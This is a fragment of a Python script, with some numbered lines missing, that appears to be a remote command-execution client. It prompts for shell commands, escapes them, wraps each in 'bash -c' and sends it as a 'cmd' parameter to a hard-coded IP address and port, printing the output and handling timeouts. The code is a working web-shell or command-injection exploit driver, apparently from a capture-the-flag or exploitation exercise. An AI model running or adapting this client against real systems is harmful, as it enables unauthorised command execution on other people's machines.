4 import requests.exceptions
9 print(" > ", end="", flush=True)
15 with open("24-proc.sh", "r") as file:
16 script = "".join(file.readlines())
18 escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
19 full = 'bash -c "'+escaped+'" 2>&1'#+' ; echo \\"result -> $?\\""'
20 payload = { 'cmd': full}
22 print(" ... ", end="\r", flush=True)
23 req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
24 print(" ", end="\r", flush=True)
28 except requests.exceptions.ReadTimeout:
30 except requests.exceptions.ConnectionError:
31 print("(connect error)")